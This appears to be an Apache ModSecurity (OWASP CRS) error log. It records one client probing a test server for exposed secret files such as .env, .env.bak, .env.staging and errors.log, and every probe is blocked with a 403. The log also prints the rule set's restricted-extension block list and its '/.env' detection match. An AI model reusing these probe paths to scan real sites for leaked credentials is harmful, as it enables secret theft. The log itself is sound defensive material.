[Sun Nov 30 18:08:59.667836 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aSx6Ky6tRBnriPIR7Vg5zQAAAAw&quot;]
[Sun Nov 30 18:08:59.668061 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aSx6Ky6tRBnriPIR7Vg5zQAAAAw&quot;]
[Sun Nov 30 18:09:00.340544 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.config&quot;] [unique_id &quot;aSx6LC6tRBnriPIR7Vg50AAAAAw&quot;]
[Sun Nov 30 18:09:00.340880 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.config&quot;] [unique_id &quot;aSx6LC6tRBnriPIR7Vg50AAAAAw&quot;]
[Sun Nov 30 18:09:00.341095 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.config&quot;] [unique_id &quot;aSx6LC6tRBnriPIR7Vg50AAAAAw&quot;]
[Sun Nov 30 18:09:00.564824 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aSx6LC6tRBnriPIR7Vg50QAAAAw&quot;]
[Sun Nov 30 18:09:00.565047 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aSx6LC6tRBnriPIR7Vg50QAAAAw&quot;]
[Sun Nov 30 18:09:00.565295 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aSx6LC6tRBnriPIR7Vg50QAAAAw&quot;]
[Sun Nov 30 18:09:00.788796 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aSx6LC6tRBnriPIR7Vg50gAAAAw&quot;]
[Sun Nov 30 18:09:00.789021 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aSx6LC6tRBnriPIR7Vg50gAAAAw&quot;]
[Sun Nov 30 18:09:00.789245 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aSx6LC6tRBnriPIR7Vg50gAAAAw&quot;]
[Sun Nov 30 18:09:01.013352 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aSx6LS6tRBnriPIR7Vg50wAAAAw&quot;]
[Sun Nov 30 18:09:01.013674 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aSx6LS6tRBnriPIR7Vg50wAAAAw&quot;]
[Sun Nov 30 18:09:01.013955 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aSx6LS6tRBnriPIR7Vg50wAAAAw&quot;]
[Sun Nov 30 18:09:01.237442 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aSx6LS6tRBnriPIR7Vg51AAAAAw&quot;]
[Sun Nov 30 18:09:01.237674 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aSx6LS6tRBnriPIR7Vg51AAAAAw&quot;]
[Sun Nov 30 18:09:01.237893 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aSx6LS6tRBnriPIR7Vg51AAAAAw&quot;]
[Sun Nov 30 18:09:01.461345 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aSx6LS6tRBnriPIR7Vg51QAAAAw&quot;]
[Sun Nov 30 18:09:01.461606 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aSx6LS6tRBnriPIR7Vg51QAAAAw&quot;]
[Sun Nov 30 18:09:01.461846 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aSx6LS6tRBnriPIR7Vg51QAAAAw&quot;]
[Sun Nov 30 18:09:01.685723 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aSx6LS6tRBnriPIR7Vg51gAAAAw&quot;]
[Sun Nov 30 18:09:01.686043 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aSx6LS6tRBnriPIR7Vg51gAAAAw&quot;]
[Sun Nov 30 18:09:01.686329 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aSx6LS6tRBnriPIR7Vg51gAAAAw&quot;]
[Sun Nov 30 18:09:02.134564 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /psnlink/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aSx6Li6tRBnriPIR7Vg52AAAAAw&quot;]
[Sun Nov 30 18:09:02.134793 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aSx6Li6tRBnriPIR7Vg52AAAAAw&quot;]
[Sun Nov 30 18:09:02.135002 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aSx6Li6tRBnriPIR7Vg52AAAAAw&quot;]
[Sun Nov 30 18:09:03.258862 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors.log&quot;] [unique_id &quot;aSx6Ly6tRBnriPIR7Vg53QAAAAw&quot;]
[Sun Nov 30 18:09:03.259202 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors.log&quot;] [unique_id &quot;aSx6Ly6tRBnriPIR7Vg53QAAAAw&quot;]
[Sun Nov 30 18:09:03.259419 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors.log&quot;] [unique_id &quot;aSx6Ly6tRBnriPIR7Vg53QAAAAw&quot;]
[Sun Nov 30 18:09:03.482915 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aSx6Ly6tRBnriPIR7Vg53gAAAAw&quot;]
[Sun Nov 30 18:09:03.483097 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aSx6Ly6tRBnriPIR7Vg53gAAAAw&quot;]
